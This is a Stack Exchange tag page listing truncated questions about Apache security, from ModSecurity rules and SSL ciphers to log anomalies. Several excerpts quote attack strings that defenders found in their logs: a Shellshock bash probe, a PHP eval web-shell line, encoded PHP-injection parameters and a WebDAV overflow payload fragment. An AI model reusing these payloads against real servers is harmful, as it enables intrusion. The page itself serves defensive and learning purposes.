Stack Exchange Network

Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange
Join us in building a kind, collaborative learning community via our updated Code of Conduct.

Questions about the security of Apache open source software, especially Apache HTTP Server

0
votes
1answer
37 views

Cookie Operations using Modsecurity Rules

Here, I'm trying to accomplish calling a Lua script from modsecurity rules. There are 2 components:- 1.example.com (WAF) 2.test.com (Web Application) test.com contains pages:- index.php ...
1
vote
2answers
43 views

Server Side request forgery (SSRF) explanation

I am looking to gain a better understanding of the SSRF vulnerability. I have googled and watched YouTube tutorials but they all show advanced techniques that are difficult to understand. I am ...
0
votes
1answer
73 views

Understanding SSL Cipher suite in Apache

On reading the documentation Apache documentation. A cipher suite example has been given : RC4-SHA:AES128-SHA:HIGH:MEDIUM:!aNULL:!MD5 I have understood the explanation given by them. My question is ...
1
vote
2answers
42 views

apache http https redirect server still listenting on port 80

I have an application that is using Apache. I have install the mod_ssl module for Apache, configured an SSL certificate and because the application provides such function configured http to https ...
1
vote
1answer
145 views

X-Frame-Options header on redirect

I have several web applications running on my server (Debian 8 running Apache). One of my customers wants to improve the security of his app, after having some security audits carried out by a third-...
2
votes
1answer
84 views

ModSecurity Rule 973338

ModSecurity blocked access due to the following: [msg "XSS Filter - Category 3: Javascript URI Vector"] [data "Matched Data: esrco found within ARGS:as_email:hearsesesrcool@yahoo.com"] [...
2
votes
1answer
105 views

JBoss Web vulnerabilities [duplicate]

In my organization I found servers running JBoss Web/7.0.13.Final and JBoss Web/7.0.12.Final. I could not find security vulnerabilities for this server's versions, but they seem old to me. How can I ...
1
vote
0answers
50 views

How to deny execution of any file on a specific directory?

I built a form that lets the user to upload files to a specific directory (apache2, php). I already limited file type and did some other security things. But I would anyway also like to deny the ...
4
votes
1answer
72 views

What are the risks of mismanaging apache users/permissions and what is the right way to do it?

Every time I install Apache to test a script, this question comes up for me. I don't do it very often, but I remember this being a pain point since about 2007. A lot of tutorials/forums recommend ...
0
votes
0answers
43 views

Do NGINX/Apache allow URI (http/ldap) based CRL (revocation list)?

my client certificate provider has a low "validity" period for CRLs, which is of 7 days. AFAIK, that means that I will need to update the CRL file on my web server every 6 days if I want it to work, ...
0
votes
0answers
42 views

Browser Suddenly gets kicked out of client certificate authenticated site on Apache Windows Environment

I have a website in our development environment "Windows / Apache 2.4 server" that has client certificate authentication. When you initially visit the site, it works ok. Since I have multiple client ...
2
votes
1answer
43 views

Storing Apache logs in docroot

I have a client who hosts multiple sites in Apache. They're storing each site's access.log and error.log in the docroot under logs/, and they're publicly accessible via the web. To me, this seems ...
0
votes
0answers
41 views

What is going on with these requests? HEAD with encoded backslash, and my site embedded in the url

I found these entries in my access log, and I found them rather weird. As I don't know what HEAD's purpose is here or what their intent was with this. I have the first couple as an example, but it's ...
3
votes
1answer
528 views

How do I decode this hacker payload?

A hacker submitted this via apache $_SERVER["HTTP_IF"]: http://localhost/aaaaaaa潨硣睡焳椶䝲稹䭷佰畓穏䡨噣浔桅㥓偬啧杣㍤䘰硅楒吱䱘橑牁䈱瀵塐㙤汇㔹呪倴呃睒偡㈲测水㉇扁㝍兡塢䝳剐㙰畄桪㍴乊硫䥶乳䱪坺潱塊㈰㝮䭉前䡣潌畖畵景癨䑍偰稶手敗畐橲穫睢癘扈攱ご汹偊呢倳㕷橷䅄㌴...
0
votes
0answers
63 views

Accessing MySQL DB from Java App or Apache Kafka and NiFi

I am wondering, what is more secure to access a database in MySQL: directly via Java application (DriverManager.getConnection) send information from Java App to Apache Kafka, then read it out in ...
3
votes
0answers
71 views

Is setting the Apache's TimeOut directive to 3 hours risky?

In my application there are couple of PHP scripts that need about 2-3 hours to be executed by requests from the application admins. I failed to change the Apache TimeOut directive limit only for these ...
0
votes
1answer
83 views

Getting a suspicious error in apache error.log (DJANGO)

Using django, I get the following error showing up in my apache errorlog: Invalid HTTP_HOST header: 'kyortisdzheykob.ru'. You may need to add u'kyortisdzheykob.ru' to ALLOWED_HOSTS. But I do not ...
1
vote
0answers
53 views

What are the security implications of publishing my web server & PHP config files?

I have a web server with many virtual hosts, config files, etc. I'd like to track all of my web server & PHP config files using Git and have them hosted on a public GitHub repository, as this ...
0
votes
1answer
202 views

Is there any way to bypass .htaccess PATH restriction (in URLs)?

We use .htaccess to deny direct access to specific file example.com/myfile.txt, by using this configuration: RewriteEngine on RewriteCond %{THE_REQUEST} myfile.txt RewriteRule ^ - [F,L] The ...
1
vote
1answer
437 views

How can I use phpinfo.php file to find new files on a server

I have been given a server to hack into for a cyber security class I have taken. After using dirb to look at the file structure, the only accessible file was the phpinfo.php file. I need to use this ...
0
votes
1answer
702 views

How to block proxy servers to access HTTPS based sites [duplicate]

Is there any way to stop/block proxy servers to access https based sites ?. As I have enabled mod_geoip to allow certain countries traffic, to access our critical websites, but still open web ...
2
votes
1answer
166 views

SSL - Enabling Forward Secrecy with or without RC4

I'm running an Apache 2 server with Ubuntu 16. Here's my current configuration: SSLProtocol All -SSLv2 -SSLv3 SSLHonorCipherOrder on SSLCipherSuite I'm a bit confused as to what I should use for ...
0
votes
2answers
68 views

Is securing Apache with SSL certificates enough to protect all of the underlying applications? [duplicate]

I have a few applications that serve HTTP content on localhost. I have installed apache and configured reverse proxy so that apache routes all the traffic to the underlying applications based on URL ...
0
votes
1answer
67 views

Getting a PHISH/Zmate.omna detection by Avira when I refresh my page, but online website scanners are showing that the page is clean

I'm getting a PHISH/Zmate.omna detection by Avira when I refresh my page, showing that it was put in the chrome cache. But I tried several online website/url scanners, and they are all showing that ...
2
votes
1answer
87 views

How to prevent hackers from accessing .htpasswd & ssl protected areas? [closed]

In spite of precautions, hackers got files of mine. I have a password protected area on my server. I am using AuthType Basic AuthName "Title" AuthUserFile /var/www/vhosts.../.htpasswd Require valid-...
0
votes
2answers
94 views

Can ModSecurity defend from Brute Force Attacks on PHPmyadmin and WordPress as well?

Can the software ModSecurity defend from Brute Force Attacks on PHPmyadmin and WordPress as well? A particular hosting company providing shared hosting told me that ModSecurity should cover ...
-1
votes
2answers
763 views

How to bypass .htaccess protection? [closed]

Is there any way to bypass a directory that protected by .htaccess file? I played a challenge in CTF and I could not access the path where the flag is. I tried to access http://www.example.com/flag ...
1
vote
1answer
258 views

Apache logs show commands execution

I am wondering if my server is compromised or not. I just looked at my log and seen the following line in there: IP: 173.249.4.160, Date: 27-12-17, Time:09:52:51, Browser: () { :;}; /bin/bash -c "...
7
votes
1answer
551 views

Malformed HTTP requests with repeated protocol (GET /https://https://www.DOMAIN.com) in Apache logs - what vulnerability are they scanning for?

About once per day, I'm seeing the following series of requests in my Apache 2.4 httpd logs, and I'm trying to figure out what vulnerability is being scanned for. Each occurrence of these scans has an ...
3
votes
1answer
299 views

Is mod_reqtimeout a sufficient and safe technique to mitigate Slow HTTP DoS Attacks?

We've been looking into configuring apache against the Slow HTTP DoS Attacks and stumbled upon this article, which goes over multiple techniques and apache configuration options. mod_reqtimeout ...
0
votes
0answers
30 views

HTTPS Inspection: how to detect at (own) server? / does it break Apache digest authentication? [duplicate]

I have 2 questions regarding HTTPS/TLS/SSL inspection/interception, which is widley used in company networks: How can I detect it at a server? At a client I can check the validator of the certificate....
0
votes
1answer
553 views

Should one use separate SSL certificates for front-end and back-end?

I have a website hosted by Apache on a Linux server. I also have a Node.js back-end/API that is hosted on the same server, which serves all the front-end's requests. Today I set up SSL for the front-...
4
votes
2answers
721 views

What is the best way to prevent code injection in Apache/PHP?

I have recently setup wordpress on a VPS, and it is under continuous attack since. I have taken some measures to protect from some bruteforce attacks, however looking at some of the logs I am not sure ...
0
votes
1answer
202 views

Directory listing for icons and image folders

I am testing web application on Apache server, which allows to list directories such as https://192.168.100.00:443/icons/ and https://192.168.100.00:443/images/. This directories contains only images. ...
1
vote
3answers
119 views

Serving a local debug apache site from home directory requires 755 perms on directory tree, is this safe on a single-user laptop?

I have a few simple web apps deployed on external providers. For testing and debugging I run local instances (on-demand basis, not all the time) on localhost:80 using apache. These are hosted ...
2
votes
1answer
62 views

Apache 2.4 log question

Documentation for Apache 2.4 states that: Anyone who can write to the directory where Apache httpd is writing a log file can almost certainly gain access to the uid that the server is started as, ...
2
votes
0answers
2k views

SNI and hostname provided via HTTP are different error

I am using Apache 2.2 webserver on ubuntu Aws instance. My website goes down with below errors on error log, [ssl:error] [pid 46283] AH02032: Hostname provided via SNI and hostname provided via ...
0
votes
1answer
68 views

Is it a risk running old modules on Apache?

I just saw that my hoster is running extremly old modules on Apache. The cURL Version is 3 years old, the SQLLite is from the 24th October 2014 and the zlib version is 1.2.8 instead of 1.2.11. Also, ...
0
votes
1answer
174 views

Execution of PHP function's through HTTP GET request by hacker [duplicate]

We are continuously receiving following requests on our apache server from the hackers ?1=@ini_set(%22display_errors%22,%220%22);@set_time_limit(0); @set_magic_quotes_runtime(0);echo%20'-%3E%7C';...
23
votes
1answer
5k views

Received “md5” in access logs

In our Apache server we received around 200 HTTP GET requests from the same IP and a common string in each request is "md5", e.g. index.php?option=com_s5clanroster&view=s5clanroster&layout=...
1
vote
2answers
300 views

Apache Access Log Indicates DOS Attack? Or any other attack? [duplicate]

Below is my apache access log. 175.139.240.59 - - [28/Jul/2017:23:42:50 +0000] "HEAD http://xx.xxx.xx.xxx:80/mysql/admin/ HTTP/1.1" 301 - ... 175.139.240.59 - - [28/Jul/2017:23:42:50 +0000] "HEAD ...
0
votes
1answer
116 views

How can I prevent modsecurity from logging binary data

In my modsecurity auditlog there is a binary file logged as text: How can I prevent modsecurity from bloating my logfiles with the content of binary files like that?
-1
votes
1answer
462 views

Can a reverse proxy protect from web-server exploit? [closed]

I'm looking for a security solution for my web-server Apache in windows enviroment for an authenticated services published to internet, I cannot setup a DMZ because it is heavily connect to all other ...
1
vote
1answer
135 views

How to stop or restrict Web attack on apache? and how to know which type of web attack it is?

Today Symantec antivirus has blocked web attack which is as follows Web Attack: Malicious Scan Request attack blocked. Traffic has been blocked for this application: \DEVICE\HARDDISKVOLUME4\APACHE2.2\...
1
vote
0answers
45 views

apache access log grew smaller [closed]

I used this command twice in the same day: grep'21/Aug/2017:'/var/log/apache2/access.log | awk '{print $1}' | sort - k2nr | uniq -c |wc -l and first time it returned a number bigger than the second ...
3
votes
1answer
662 views

Can Hacker Post data through GET request?

Today we have received following request in the Apache access logs file. "GET //?1=@ini_set(%22display_errors%22,%220%22);@set_time_limit(0);@set_magic_quotes_runtime(0);echo%20'-%3E%7C';...
5
votes
1answer
172 views

Client requiring our SSL Private Key to configure the Load Balancer that reaches our server. Makes sense?

I'm facing an unusual situation, I hope you can clarify this for me. We manage some applications that are accessible through HTTPS requests on port 443 of our server X. We have a new client that is ...
0
votes
3answers
208 views

How can I determine from where injected script came from?

I have a server that currently has been hacked. Files are being created on my server which has content of this type: if(isset($_REQUEST['oUS'])){/*PJEG*/eval($_REQUEST['oUS']);/*z*/exit;/*Lv*/} Or ...
1
vote
1answer
131 views

Received weird request URL in my TOMCAT access logs

I have received some weird request URL in my TOMCAT access logs. which is as follows:- \x16\x03\x01\x01\"\x01" 200 40788 as clearly seen from above log, the server has given 200(success) response to ...
1
vote
2answers
247 views

Override parent .htaccess with php.ini?

Is it possible to override parent folder .htaccess rules with child php.ini or some other file except .htaccess? What I have is: /var/www/site/static/.htaccess /var/www/site/static/abc/ /var/www/site/...